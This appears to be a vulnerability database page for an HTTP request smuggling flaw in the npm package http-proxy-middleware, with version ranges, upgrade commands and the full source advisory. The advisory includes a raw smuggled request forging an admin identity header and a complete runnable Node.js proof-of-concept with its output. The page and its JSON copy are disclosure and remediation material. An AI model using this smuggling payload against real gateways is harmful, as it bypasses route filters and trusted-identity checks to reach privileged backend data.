CVE-2026-140103: Http proxy middleware Http-proxy-middleware Smuggles A Second Request Vulnerability

MODERATE
Advisory Identifier: GHSA-vp89-2qrg-8fwc
CVSS 5.4
CWE-444 CWE-807
Published
Advisory Summary

CVE-2026-140103 is a MODERATE (CVSS 5.4) http-proxy-middleware smuggles a second request vulnerability (CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) affecting Http proxy middleware libraries in the npm ecosystem. The issue involves http-proxy-middleware smuggles a second request when fixrequestbody runs before body arrival. Remediation is available by upgrading affected packages to version 4.2.1, 3.0.10, 2.0.11.

CVE-2026-140103 at a Glance

CVE Identifier CVE-2026-140103
GHSA Identifier GHSA-vp89-2qrg-8fwc
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Affected Product Http proxy middleware
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-140103

To remediate this vulnerability, upgrade all affected Http proxy middleware dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

http-proxy-middleware fixed: 4.2.1
npm install http-proxy-middleware@4.2.1
http-proxy-middleware fixed: 3.0.10
npm install http-proxy-middleware@3.0.10
http-proxy-middleware fixed: 2.0.11
npm install http-proxy-middleware@2.0.11
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls http-proxy-middleware

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140103, inspect your project dependencies using npm:

npm ls http-proxy-middleware

Analyze the terminal output to locate any version of Http proxy middleware in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.1), your application is affected.

Note: The npm ls http-proxy-middleware command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), where the product acts as an intermediary http agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed http requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. In Http proxy middleware, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `fixRequestBody` treats `req.readableLength === 0` as proof that a body parser consumed the request body. The same value is observed before any body byte has arrived. An unauthenticated client can therefore send the request headers first, wait one event-loop turn, and then send a body containing a complete second HTTP request. When a body-parser 1.x parser declined the declared media type, it has already assigned a truthy `req.body` but has not consumed the stream. `fixRequestBody` serializes that empty body, changes the upstream `Content-Length`, and writes it. `httpxy` subsequently pipes the still-live request stream into the same upstream request. The backend consumes the synthesized body at the declared length and parses the attacker's withheld bytes as a second request on the persistent connection. That second request bypasses the gateway's route filter, explicit `/admin` denial, and trusted-header normalization. On the default 4.2.0 upstream pool, a following request can also receive the smuggled request's response. The PoC below uses no attacker credential: a public `/api/thing` request produces a backend `/admin/secret` request carrying the attacker-selected internal identity header, and an attacker-controlled follow-up receives `SECRET_ADMIN_ONLY`. ### Details The vulnerable guard is in [`src/handlers/fix-request-body.ts:30-39`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/src/handlers/fix-request-body.ts#L30-L39): ```ts // skip fixRequestBody() when req.readableLength not 0 (bodyParser failure) if (req.readableLength !== 0) { return; } const requestBody = req.body; if (!requestBody) { return; } ``` `readableLength` reports bytes currently buffered in the readable queue. It is zero both after a parser drains the stream and before the client sends the body. The client controls which state applies by controlling body arrival. With body-parser 1.20.3, [`json()` assigns `req.body = req.body || {}` before its media-type test](https://github.com/expressjs/body-parser/blob/1.20.3/lib/types/json.js#L101-L123). A request declared as `application/x-www-form-urlencoded` therefore reaches the proxy with a truthy empty object even when only `express.json()` is mounted. [Body-parser 2.2.0 initializes a previously absent body to `undefined`](https://github.com/expressjs/body-parser/blob/2.2.0/lib/types/json.js#L86-L95), so the second guard returns; the relevant prerequisite is the body-parser major, not the Express major. The handler then assumes ownership of the upstream framing at [`src/handlers/fix-request-body.ts:47-81`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/src/handlers/fix-request-body.ts#L47-L81): ```ts const writeBody = (bodyData: string) => { let proxyData: string | Buffer = bodyData; // compression branches omitted proxyReq.setHeader('Content-Length', Buffer.byteLength(proxyData)); proxyReq.write(proxyData); }; if (contentType.includes('application/json') || contentType.includes('+json')) { writeBody(JSON.stringify(requestBody)); } else if (contentType.includes('application/x-www-form-urlencoded')) { writeBody(querystring.stringify(requestBody)); } else if (contentType.includes('multipart/form-data')) { writeBody(stringifyFormData(contentType, requestBody)); } else if (contentType.includes('text/plain')) { writeBody(requestBody); } ``` In the PoC, `requestBody` is `{}`, so the URL-encoded form is an empty string and the outgoing length becomes zero. In the published `httpxy` 0.5.5 artifact, `dist/index.mjs:288-290` emits `proxyReq` from one `socket` listener and `dist/index.mjs:325-327` registers the original request pipe in a later `socket` listener. The event handler writes the synthetic zero-length body first; the pipe writes the real body afterward. The backend therefore receives this shape from one client request: ```http POST /api/thing HTTP/1.1 content-type: application/x-www-form-urlencoded content-length: 0 connection: keep-alive x-authenticated-user: anonymous GET /admin/secret HTTP/1.1 Host: backend X-Authenticated-User: admin Content-Length: 0 ``` The smuggled request never traverses the gateway. A backend that trusts identity headers written by the gateway sees the attacker-selected `admin` value, while an ordinary client request has that header deleted and replaced by the gateway. The necessary conditions are: - A body-parser 1.x parser runs before the proxy and declines the request media type, leaving a truthy `req.body` and an unread stream. - `fixRequestBody` is registered as `on.proxyReq`. - The body arrives after the headers in a later event-loop turn. - The upstream connection remains persistent. This is the 4.x default from 4.0.0-beta.2. On 2.x, 3.x, and 4.0.0-beta.0, a pooling agent supplies persistence when the client omits `Connection`; a plain non-pooling `new http.Agent()` requires the client to send `Connection: keep-alive`. A pooling agent is additionally required to read the response through a following request. - No front end ahead of the gateway fully buffers and reframes the request before forwarding it. The project documents the relevant arrangement. [`README.md:521-533`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/README.md#L521-L533) recommends `fixRequestBody` after body parsing, and [`README.md:539-559`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/README.md#L539-L559) shows it with `bodyParser.json()`. For older lines, [`recipes/corporate-proxy.md:14-17`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/recipes/corporate-proxy.md#L14-L17) shows the additional `agent` configuration. Suggested fix: do not use buffered-byte count as a proxy for stream completion. `req.readableEnded` is a Node stream state that distinguishes a drained stream from a body that has not arrived. The following is a candidate change, not a fully regression-tested patch: ```diff -// skip fixRequestBody() when req.readableLength not 0 (bodyParser failure) -if (req.readableLength !== 0) { +// Only reconstruct a body after the original request stream reached its end. +if (!req.readableEnded) { return; } ``` This candidate passed the ordinary parsed-JSON control used during review, but it should be tested across every supported Node line, body-parser 1.x and 2.x, matching and declined media types, empty bodies, compressed requests, and all four serialization branches. Calling `req.unpipe(proxyReq)` inside `fixRequestBody` is not sufficient: `httpxy` installs the pipe after the `proxyReq` callback returns. Destroying the request stream inside this public helper also breaks valid parsed-body use. A more structural fix would make reconstruction and streaming mutually exclusive before the upstream request is created. No patch was applied to the target checkout. ### PoC The PoC is self-contained and uses the published packages. Save the script below as `poc.mjs` in a new directory and run: ```sh npm init -y npm install http-proxy-middleware@4.2.0 express@4.21.2 node poc.mjs ``` ```js import fs from 'node:fs'; import http from 'node:http'; import net from 'node:net'; import { fileURLToPath } from 'node:url'; import express from 'express'; import { createProxyMiddleware, fixRequestBody } from 'http-proxy-middleware'; const HERE = new URL('./', import.meta.url); const BODY_GAP_MS = 20; const FOLLOW_DELAY_MS = 20; function version(name) { const path = fileURLToPath(new URL(`node_modules/${name}/package.json`, HERE)); return JSON.parse(fs.readFileSync(path, 'utf8')).version; } function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } function listen(server) { return new Promise((resolve, reject) => { server.once('error', reject); server.listen(0, '127.0.0.1', () => { server.off('error', reject); resolve(server.address().port); }); }); } async function close(server) { server.closeAllConnections?.(); await new Promise((resolve) => server.close(resolve)); } function send(res, status, body) { res.writeHead(status, { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body), }); res.end(body); } async function startRig() { const log = []; const socketIds = new WeakMap(); let nextSocketId = 1; const backend = http.createServer((req, res) => { const socket = socketIds.get(req.socket); const user = req.headers['x-authenticated-user'] || 'missing'; log.push(`${req.method} ${req.url} user=${user} socket=${socket}`); req.resume(); req.on('end', () => { if (req.url === '/admin/secret') { const allowed = user === 'admin'; setTimeout(() => { if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'SECRET_ADMIN_ONLY' : 'DENIED'); }, 120); return; } if (req.url === '/api/victim') { const allowed = user === 'victim'; setTimeout(() => { if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'VICTIM_PRIVATE_DATA' : 'NO_VICTIM_ACCESS'); }, 240); return; } send(res, 200, `PUBLIC:${req.url}`); }); }); backend.on('connection', (socket) => socketIds.set(socket, nextSocketId++)); const backendPort = await listen(backend); const app = express(); app.use(express.json()); app.use((req, _res, next) => { delete req.headers['x-authenticated-user']; req.headers['x-authenticated-user'] = req.headers['x-victim-token'] === 'victim-secret' ? 'victim' : 'anonymous'; delete req.headers['x-victim-token']; next(); }); app.use('/admin', (_req, res) => send(res, 403, 'GATEWAY_BLOCKED')); app.use(createProxyMiddleware({ target: `http://127.0.0.1:${backendPort}`, pathFilter: '/api', on: { proxyReq: fixRequestBody }, })); app.use((_req, res) => send(res, 404, 'NOT_FOUND')); const gateway = http.createServer(app); const gatewayPort = await listen(gateway); return { backend, gateway, gatewayPort, log }; } function request(port, path, headers = {}) { return new Promise((resolve, reject) => { const req = http.request({ host: '127.0.0.1', port, path, method: 'GET', agent: false, headers, }, (res) => { const chunks = []; res.on('data', (chunk) => chunks.push(chunk)); res.on('end', () => resolve({ status: res.statusCode, body: Buffer.concat(chunks).toString('utf8'), })); }); req.setTimeout(2000, () => req.destroy(new Error('timeout'))); req.on('error', reject); req.end(); }); } function firstResponse(buffer) { const headerEnd = buffer.indexOf('\r\n\r\n'); if (headerEnd < 0) return null; const head = buffer.subarray(0, headerEnd).toString('latin1'); const length = Number(/\r\ncontent-length:\s*(\d+)/i.exec(`\r\n${head}`)?.[1]); if (!Number.isFinite(length)) return null; const end = headerEnd + 4 + length; if (buffer.length < end) return null; return { status: Number(/^HTTP\/1\.1\s+(\d+)/.exec(head)?.[1]), body: buffer.subarray(headerEnd + 4, end).toString('utf8'), }; } function startOuter(port, split) { const smuggled = [ 'GET /admin/secret HTTP/1.1', 'Host: backend', 'X-Authenticated-User: admin', 'Content-Length: 0', '', '', ].join('\r\n'); const head = [ 'POST /api/thing HTTP/1.1', `Host: 127.0.0.1:${port}`, 'Content-Type: application/x-www-form-urlencoded', `Content-Length: ${Buffer.byteLength(smuggled)}`, 'Connection: keep-alive', '', '', ].join('\r\n'); let bytes = Buffer.alloc(0); let bodySentResolve; const bodySent = new Promise((resolve) => { bodySentResolve = resolve; }); let responseResolve; const response = new Promise((resolve) => { responseResolve = resolve; }); const socket = net.connect(port, '127.0.0.1'); socket.setNoDelay(true); socket.on('error', () => {}); socket.on('data', (chunk) => { bytes = Buffer.concat([bytes, chunk]); const parsed = firstResponse(bytes); if (parsed) responseResolve(parsed); }); socket.on('connect', () => { if (!split) { socket.write(head + smuggled, 'latin1', bodySentResolve); return; } socket.write(head, 'latin1', () => { setTimeout(() => socket.write(smuggled, 'latin1', bodySentResolve), BODY_GAP_MS); }); }); return { socket, bodySent, response }; } async function scenario(label, run) { const rig = await startRig(); try { console.log(`\n[${label}]`); await run(rig); console.log(`backend log: ${rig.log.join(' | ') || '(empty)'}`); } finally { await close(rig.gateway); await close(rig.backend); } } console.log(`Node ${process.version}; http-proxy-middleware ${version('http-proxy-middleware')}; httpxy ${version('httpxy')}; express ${version('express')}`); await scenario('control: direct admin request', async ({ gatewayPort }) => { const result = await request(gatewayPort, '/admin/secret', { 'X-Authenticated-User': 'admin' }); console.log(`attacker -> ${result.status} ${result.body}`); }); await scenario('control: direct victim request without token', async ({ gatewayPort }) => { const result = await request(gatewayPort, '/api/victim'); console.log(`attacker -> ${result.status} ${result.body}`); }); await scenario('control: identical bytes in one write', async ({ gatewayPort }) => { const outer = startOuter(gatewayPort, false); await outer.bodySent; const outerResult = await outer.response; const follow = await request(gatewayPort, '/api/follow'); outer.socket.destroy(); console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`); console.log(`follow-up attacker -> ${follow.status} ${follow.body}`); }); await scenario('exploit: delayed body, attacker reads admin response', async ({ gatewayPort }) => { const outer = startOuter(gatewayPort, true); await outer.bodySent; await sleep(FOLLOW_DELAY_MS); const follow = await request(gatewayPort, '/api/follow'); const outerResult = await outer.response; outer.socket.destroy(); console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`); console.log(`follow-up attacker -> ${follow.status} ${follow.body}`); }); await scenario('exploit: first ordinary client receives the admin response', async ({ gatewayPort }) => { const outer = startOuter(gatewayPort, true); await outer.bodySent; await sleep(FOLLOW_DELAY_MS); const victim = await request(gatewayPort, '/api/victim', { 'X-Victim-Token': 'victim-secret' }); const outerResult = await outer.response; outer.socket.destroy(); console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`); console.log(`victim -> ${victim.status} ${victim.body}`); }); ``` Output, unedited: ```text Node v24.21.0; http-proxy-middleware 4.2.0; httpxy 0.5.5; express 4.21.2 [control: direct admin request] attacker -> 403 GATEWAY_BLOCKED backend log: (empty) [control: direct victim request without token] attacker -> 403 NO_VICTIM_ACCESS backend log: GET /api/victim user=anonymous socket=1 [control: identical bytes in one write] outer attacker -> 200 PUBLIC:/api/thing follow-up attacker -> 200 PUBLIC:/api/follow backend log: POST /api/thing user=anonymous socket=1 | GET /api/follow user=anonymous socket=1 [exploit: delayed body, attacker reads admin response] outer attacker -> 200 PUBLIC:/api/thing follow-up attacker -> 200 SECRET_ADMIN_ONLY backend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/follow user=anonymous socket=1 [exploit: first ordinary client receives the admin response] outer attacker -> 200 PUBLIC:/api/thing victim -> 200 SECRET_ADMIN_ONLY backend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/victim user=victim socket=1 ``` The first control proves the gateway rejects `/admin/secret` even when the client supplies the trusted header; the backend is not contacted. The second proves an unauthenticated client cannot read the victim route. The third sends exactly the same outer headers and body as the exploit in one concatenated write: only `/api/thing` reaches the backend, and the follow-up receives its own response. Only the body schedule changes in the exploit. The backend then logs two requests on one socket, and the unauthenticated follow-up receives the admin-only body. The last scenario replaces the follow-up with an authenticated victim request and shows that arrival order selects the recipient of the queued admin response. The complete script was repeated ten times on Node 24.21.0. Both exploit scenarios succeeded in every run, and the concatenated-write control stayed clean in every run: ```text complete_runs=10/10 failures=0 ``` The response-routing behavior was also measured separately at 30 trials per cell with a fresh gateway and pool for every trial. The smuggled endpoint responded after 120 ms and the follow-up began 20 ms after the body: | upstream scheduling | clean free sockets before the attempt | attacker received the admin response | | --- | ---: | ---: | | default `lifo` | 0 | 30/30 | | default `lifo` | 1 | 30/30 | | default `lifo` | 4 | 30/30 | | explicit `fifo` | 0 | 30/30 | | explicit `fifo` | 1 | 30/30 | | explicit `fifo` | 4 | 0/30 | The concatenated-write negative control was 0/30. With two possible recipients, routing was deterministic: whichever ordinary request arrived first received the admin response, 30/30 in both orderings. FIFO plus a sufficiently deep idle pool is a measured mitigation, not a complete fix; occupying the older sockets drove the FIFO depth-four cell back to 30/30. Published artifacts were tested rather than inferring the range from the source commit. The persistent-agent column used `new http.Agent({keepAlive:true})` with an explicit client `Connection: keep-alive`; it is not an unspecified generic agent: | version | no `agent` option | measured persistent-agent configuration | | --- | --- | --- | | 2.0.9 | payload dropped | smuggled | | 2.0.10 | payload dropped | smuggled | | 3.0.5 | payload dropped | smuggled | | 3.0.7 | payload dropped | smuggled | | 4.0.0-beta.0 | payload dropped | smuggled | | 4.0.0-beta.2 | smuggled | smuggled | | 4.2.0 | smuggled | smuggled | The agent and client header were then separated on 2.0.10 and 3.0.7, ten fresh trials per cell: | agent | client `Connection` | backend `Connection` | 2.0.10 | 3.0.7 | | --- | --- | --- | ---: | ---: | | plain `new http.Agent()` | omitted | `close` | smuggled 0/10, truncated 10/10 | smuggled 0/10, truncated 10/10 | | plain `new http.Agent()` | `keep-alive` | `keep-alive` | smuggled 10/10 | smuggled 10/10 | | `new http.Agent({keepAlive:true,maxSockets:1})` | omitted | `keep-alive` | smuggled 10/10 | smuggled 10/10 | | `agent:false` | `keep-alive` | `close` | smuggled 0/10, truncated 10/10 | smuggled 0/10, truncated 10/10 | The older lines therefore require an agent plus persistent upstream framing. A plain non-pooling agent is not enough when the client header is omitted. A pooling agent supplies persistence and is also required for response readback. `agent:false` forces `close` even when the client asks for keep-alive. ### Impact #### What it is A remote unauthenticated client can make the backend execute an arbitrary HTTP/1.1 request that the gateway never parsed or authorized. The request can target a route outside `pathFilter` and can forge headers that the backend trusts the gateway to set. With the default 4.x LIFO pool, an attacker-controlled following request can receive the smuggled response. This provides an integrity impact for arbitrary backend actions and a confidentiality impact for backend responses reachable through forged gateway identity. The 10.0 vector describes the default 4.2.0 configuration and the reasonable worst-case use of a proxy library: a public proxied route fronts a backend with privileged internal routes or trusted identity headers. [FIRST's CVSS v3.1 User Guide, section 3.7](https://www.first.org/cvss/v3-1/user-guide#3-7-scoring-vulnerabilities-in-software-libraries-and-similar), directs analysts to score libraries using a stated reasonable worst-case implementation scenario; [section 3.8](https://www.first.org/cvss/v3-1/user-guide#3-8-multiple-cvss-base-scores) says to use the highest applicable score when only one is supplied. The deterministic integrity-only floor is 8.6 when response readback is unavailable. #### Who is impacted An application is exposed when it places a body-parser 1.x parser before `http-proxy-middleware`, enables `fixRequestBody`, permits a request media type that the mounted parser declines but the handler recognizes, and reaches the gateway without complete request-body buffering. The upstream connection must also remain persistent. Persistence is the default in 4.x from 4.0.0-beta.2. The affected 2.x, 3.x, and 4.0.0-beta.0 lines require an explicit agent; a pooling agent supplies keep-alive, while a plain non-pooling agent also requires an explicit client `Connection: keep-alive` header. The body-parser major sets the boundary. Express 4 normally supplies body-parser 1.x behavior and Express 5 normally supplies body-parser 2.x behavior, but an Express 5 application that mounts body-parser 1.x explicitly remains affected. #### How an operator arrives at that configuration The README recommends `fixRequestBody` specifically for applications where body parsing runs first and demonstrates `bodyParser.json()` before the proxy. The PoC places an explicit route denial and trusted-header normalization before the backend proxy, and the smuggled request bypasses both. The 4.x proxy dependency supplies a keep-alive agent by default. The project's corporate-proxy recipe supplies an agent explicitly for older lines, but that specific `HttpsProxyAgent` configuration was not measured. #### What is not claimed This is not exploitable through every deployment. nginx 1.27 with default request buffering was clean in testing, including the delayed-body shape. HAProxy 3.0 in HTTP mode and Traefik 3.1 preserved the vulnerable timing; Envoy 1.31 bypassed the guard but dropped the appended payload in the tested configuration. Managed load balancers, CDNs, service meshes as deployed, HTTPS targets, WebSocket upgrades, `responseInterceptor`, and `pathRewrite` were not tested. Body-parser 2.x, a matching parser that consumes the request, no parser at all, and `agent: false` were clean in the tested matrix. A non-pooling agent permits the unauthorized backend request only when another input, measured here as an explicit client `Connection: keep-alive`, keeps the upstream request persistent; it does not provide the response-read technique shown here. #### Disclosure This report has not been published or sent elsewhere. No issue, pull request, or public discussion has been opened. Testing used loopback listeners, published npm artifacts, and disposable local containers. The target checkout was not modified and was clean after testing.

CVE-2026-140103 Affected Http proxy middleware Versions

3 component(s)
Fixed Versions:
4.2.13.0.102.0.11
Product / Package Ecosystem Affected Versions Fixed Version
http-proxy-middleware
npm
≥ 4.0.0-beta.0
< 4.2.1
4.2.1
http-proxy-middleware
npm
≥ 3.0.5
< 3.0.10
3.0.10
http-proxy-middleware
npm
≥ 2.0.9
< 2.0.11
2.0.11

References

Frequently Asked Questions

What is CVE-2026-140103?
CVE-2026-140103 is a security vulnerability in Http proxy middleware involving http-proxy-middleware smuggles a second request when fixRequestBody runs before body arrival under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').
Which Http proxy middleware versions are affected?
Affected versions include releases prior to 4.2.1, 3.0.10, 2.0.11 across affected packages: http-proxy-middleware.
What version fixes CVE-2026-140103?
Upgrading to 4.2.1, 3.0.10, 2.0.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is http-proxy-middleware affected?
Yes, http-proxy-middleware is affected in releases prior to 4.2.1, 3.0.10, 2.0.11. Upgrade your dependency to 4.2.1, 3.0.10, 2.0.11 or later.
What is the CVSS score of CVE-2026-140103?
CVE-2026-140103 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-140103?
CVE-2026-140103 is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.).
How can I check npm dependencies for CVE-2026-140103?
Run the dependency tree command: 'npm ls http-proxy-middleware'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vp89-2qrg-8fwc",
  "modified" : "2026-12-01T18:15:48Z",
  "published" : "2026-12-01T18:15:48Z",
  "aliases" : [ "CVE-2026-140103" ],
  "summary" : "http-proxy-middleware smuggles a second request when fixRequestBody runs before body arrival",
  "details" : "### Summary\n\n`fixRequestBody` treats `req.readableLength === 0` as proof that a body parser consumed the request body. The same value is observed before any body byte has arrived. An unauthenticated client can therefore send the request headers first, wait one event-loop turn, and then send a body containing a complete second HTTP request.\n\nWhen a body-parser 1.x parser declined the declared media type, it has already assigned a truthy `req.body` but has not consumed the stream. `fixRequestBody` serializes that empty body, changes the upstream `Content-Length`, and writes it. `httpxy` subsequently pipes the still-live request stream into the same upstream request. The backend consumes the synthesized body at the declared length and parses the attacker's withheld bytes as a second request on the persistent connection.\n\nThat second request bypasses the gateway's route filter, explicit `/admin` denial, and trusted-header normalization. On the default 4.2.0 upstream pool, a following request can also receive the smuggled request's response. The PoC below uses no attacker credential: a public `/api/thing` request produces a backend `/admin/secret` request carrying the attacker-selected internal identity header, and an attacker-controlled follow-up receives `SECRET_ADMIN_ONLY`.\n\n### Details\n\nThe vulnerable guard is in [`src/handlers/fix-request-body.ts:30-39`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/src/handlers/fix-request-body.ts#L30-L39):\n\n```ts\n// skip fixRequestBody() when req.readableLength not 0 (bodyParser failure)\nif (req.readableLength !== 0) {\n  return;\n}\n\nconst requestBody = req.body;\n\nif (!requestBody) {\n  return;\n}\n```\n\n`readableLength` reports bytes currently buffered in the readable queue. It is zero both after a parser drains the stream and before the client sends the body. The client controls which state applies by controlling body arrival.\n\nWith body-parser 1.20.3, [`json()` assigns `req.body = req.body || {}` before its media-type test](https://github.com/expressjs/body-parser/blob/1.20.3/lib/types/json.js#L101-L123). A request declared as `application/x-www-form-urlencoded` therefore reaches the proxy with a truthy empty object even when only `express.json()` is mounted. [Body-parser 2.2.0 initializes a previously absent body to `undefined`](https://github.com/expressjs/body-parser/blob/2.2.0/lib/types/json.js#L86-L95), so the second guard returns; the relevant prerequisite is the body-parser major, not the Express major.\n\nThe handler then assumes ownership of the upstream framing at [`src/handlers/fix-request-body.ts:47-81`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/src/handlers/fix-request-body.ts#L47-L81):\n\n```ts\nconst writeBody = (bodyData: string) => {\n  let proxyData: string | Buffer = bodyData;\n  // compression branches omitted\n  proxyReq.setHeader('Content-Length', Buffer.byteLength(proxyData));\n  proxyReq.write(proxyData);\n};\n\nif (contentType.includes('application/json') || contentType.includes('+json')) {\n  writeBody(JSON.stringify(requestBody));\n} else if (contentType.includes('application/x-www-form-urlencoded')) {\n  writeBody(querystring.stringify(requestBody));\n} else if (contentType.includes('multipart/form-data')) {\n  writeBody(stringifyFormData(contentType, requestBody));\n} else if (contentType.includes('text/plain')) {\n  writeBody(requestBody);\n}\n```\n\nIn the PoC, `requestBody` is `{}`, so the URL-encoded form is an empty string and the outgoing length becomes zero. In the published `httpxy` 0.5.5 artifact, `dist/index.mjs:288-290` emits `proxyReq` from one `socket` listener and `dist/index.mjs:325-327` registers the original request pipe in a later `socket` listener. The event handler writes the synthetic zero-length body first; the pipe writes the real body afterward. The backend therefore receives this shape from one client request:\n\n```http\nPOST /api/thing HTTP/1.1\ncontent-type: application/x-www-form-urlencoded\ncontent-length: 0\nconnection: keep-alive\nx-authenticated-user: anonymous\n\nGET /admin/secret HTTP/1.1\nHost: backend\nX-Authenticated-User: admin\nContent-Length: 0\n\n```\n\nThe smuggled request never traverses the gateway. A backend that trusts identity headers written by the gateway sees the attacker-selected `admin` value, while an ordinary client request has that header deleted and replaced by the gateway.\n\nThe necessary conditions are:\n\n- A body-parser 1.x parser runs before the proxy and declines the request media type, leaving a truthy `req.body` and an unread stream.\n- `fixRequestBody` is registered as `on.proxyReq`.\n- The body arrives after the headers in a later event-loop turn.\n- The upstream connection remains persistent. This is the 4.x default from 4.0.0-beta.2. On 2.x, 3.x, and 4.0.0-beta.0, a pooling agent supplies persistence when the client omits `Connection`; a plain non-pooling `new http.Agent()` requires the client to send `Connection: keep-alive`. A pooling agent is additionally required to read the response through a following request.\n- No front end ahead of the gateway fully buffers and reframes the request before forwarding it.\n\nThe project documents the relevant arrangement. [`README.md:521-533`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/README.md#L521-L533) recommends `fixRequestBody` after body parsing, and [`README.md:539-559`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/README.md#L539-L559) shows it with `bodyParser.json()`. For older lines, [`recipes/corporate-proxy.md:14-17`](https://github.com/chimurai/http-proxy-middleware/blob/1c8255248e619ec01fd20e6eb1f660f7a1e38221/recipes/corporate-proxy.md#L14-L17) shows the additional `agent` configuration.\n\nSuggested fix: do not use buffered-byte count as a proxy for stream completion. `req.readableEnded` is a Node stream state that distinguishes a drained stream from a body that has not arrived. The following is a candidate change, not a fully regression-tested patch:\n\n```diff\n-// skip fixRequestBody() when req.readableLength not 0 (bodyParser failure)\n-if (req.readableLength !== 0) {\n+// Only reconstruct a body after the original request stream reached its end.\n+if (!req.readableEnded) {\n   return;\n }\n```\n\nThis candidate passed the ordinary parsed-JSON control used during review, but it should be tested across every supported Node line, body-parser 1.x and 2.x, matching and declined media types, empty bodies, compressed requests, and all four serialization branches. Calling `req.unpipe(proxyReq)` inside `fixRequestBody` is not sufficient: `httpxy` installs the pipe after the `proxyReq` callback returns. Destroying the request stream inside this public helper also breaks valid parsed-body use. A more structural fix would make reconstruction and streaming mutually exclusive before the upstream request is created. No patch was applied to the target checkout.\n\n### PoC\n\nThe PoC is self-contained and uses the published packages. Save the script below as `poc.mjs` in a new directory and run:\n\n```sh\nnpm init -y\nnpm install http-proxy-middleware@4.2.0 express@4.21.2\nnode poc.mjs\n```\n\n```js\nimport fs from 'node:fs';\nimport http from 'node:http';\nimport net from 'node:net';\nimport { fileURLToPath } from 'node:url';\nimport express from 'express';\nimport { createProxyMiddleware, fixRequestBody } from 'http-proxy-middleware';\n\nconst HERE = new URL('./', import.meta.url);\nconst BODY_GAP_MS = 20;\nconst FOLLOW_DELAY_MS = 20;\n\nfunction version(name) {\n  const path = fileURLToPath(new URL(`node_modules/${name}/package.json`, HERE));\n  return JSON.parse(fs.readFileSync(path, 'utf8')).version;\n}\n\nfunction sleep(ms) {\n  return new Promise((resolve) => setTimeout(resolve, ms));\n}\n\nfunction listen(server) {\n  return new Promise((resolve, reject) => {\n    server.once('error', reject);\n    server.listen(0, '127.0.0.1', () => {\n      server.off('error', reject);\n      resolve(server.address().port);\n    });\n  });\n}\n\nasync function close(server) {\n  server.closeAllConnections?.();\n  await new Promise((resolve) => server.close(resolve));\n}\n\nfunction send(res, status, body) {\n  res.writeHead(status, {\n    'Content-Type': 'text/plain',\n    'Content-Length': Buffer.byteLength(body),\n  });\n  res.end(body);\n}\n\nasync function startRig() {\n  const log = [];\n  const socketIds = new WeakMap();\n  let nextSocketId = 1;\n\n  const backend = http.createServer((req, res) => {\n    const socket = socketIds.get(req.socket);\n    const user = req.headers['x-authenticated-user'] || 'missing';\n    log.push(`${req.method} ${req.url} user=${user} socket=${socket}`);\n    req.resume();\n    req.on('end', () => {\n      if (req.url === '/admin/secret') {\n        const allowed = user === 'admin';\n        setTimeout(() => {\n          if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'SECRET_ADMIN_ONLY' : 